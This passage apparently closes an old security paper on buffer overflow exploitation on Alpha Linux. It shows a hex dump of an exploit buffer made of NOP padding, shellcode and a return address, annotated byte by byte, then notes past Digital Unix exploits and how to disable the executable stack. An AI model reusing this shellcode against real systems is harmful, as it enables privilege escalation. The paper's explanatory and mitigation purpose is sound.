      896  04 ff 47 1f 04 ff 47 1f 04 ff 47 1f 04 ff 47 1f      ..G...G...G...G.
      912  04 ff 47 30 15 d9 43 11 74 f0 47 12 14 02 42 fc      ..G0..C.t.G...B.
      928  ff 32 b2 12 94 09 42 fc ff 32 b2 ff 47 3f 26 1f      .2....B..2..G?&.
      944  04 31 22 fc ff 30 b2 f7 ff 1f d2 10 04 ff 47 11      .1"..0........G.
      960  14 e3 43 20 35 20 42 ff ff ff ff 30 15 d9 43 31      ..C 5 B....0..C1
      976  15 d8 43 12 04 ff 47 40 ff 1e b6 48 ff fe b7 98      ..C...G@...H....
      992  ff 7f 26 d0 8c 73 22 13 05 f3 47 3c ff 7e b2 69      ..&..s"...G<.~.i
     1008  6e 7f 26 2f 62 73 22 38 ff 7e b2 13 94 e7 43 20      n.&/bs"8.~....C
     1024  35 60 42 ff ff ff ff 30 f5 ff 1f 01                  5`B....0....

    0 ~ 2
     The padding data. It's for alignment. 0, 1, 2, or 3 padding characters are
    needed to align the instructions.
    3 ~ 914
     nop instructions.
    915 ~ 1030
     shellcode.
    1031 ~ 1038
     return address. 0x000000001ffff530 ( "\x30\xf5\xff\x1f\x01\x00\x00\x00" )

    Don't worry about  last three '\0'  characters.  Almost  all cases
    the last  three characters  are '\0'.   The exploit  code in  this
    paper works well in the digital unix, too.

    References:

      Alpha Architecture Handbook
        http://ftp.digital.com/pub/Digital/info/semiconductor/literature/alphaahb.pdf

SOLUTION

    This paper explain  the buffer overflow  exploit technique in  the
    alpha  linux.   There  are  many  administrators who doesn't worry
    about the buffer  overflow bug because  he (or she)  administrates
    not intel  x86 linux  but alpha  linux.   In addition, some people
    think that the buffer overflow exploit is impossible in the  alpha
    linux.   However,  it's  possible.   DON'T  BELIEVE  THAT   BUFFER
    OVERFLOW EXPLOIT IS IMPOSSIBLE IN THE ALPHA.

    This has  been known  for awhile.   In Feb  1999 Lamont  Granquist
    released exploit code for /usr/bin/mh/inc under Digital Unix  4.0D
    along with  an exploit  for "at"  for previous  version of Digital
    Unix.   This was  followed up  by finding  that Digital  Unix 4.0D
    still suffered from having both of the rdist vulnerabilities  that
    had  been  reported  by  CERT  in  years past, one of which Lamont
    managed to exploit.  More recently Zack Hubert confirmed that  Job
    de  Haas's  /usr/dt/bin/dtaction  buffer  overflow was exploitable
    under Digital  Unix.   Digital Unix  is now  shipping such that it
    has the executable stack turned off for root by default, and  that
    the latest patches to Digital  Unix 4.0D and above impliment  this
    patch  (excersize  for  the  student:  test  this!)   To turn this
    feature on or off either change /etc/sysconfigtab as such:

        proc:
                executable_stack = 0

    Or use sysconfig to do it:

        # sysconfig -r proc executable_stack=0

    You should then get  segfaults on any attempt  to run code on  the
    stack  as  root.   This  only  protects  root  run  or  suid  root
    processes,  however.   Processes  running  as  any other user will
    still be vulnerable (e.g. daemons running as uid=nobody).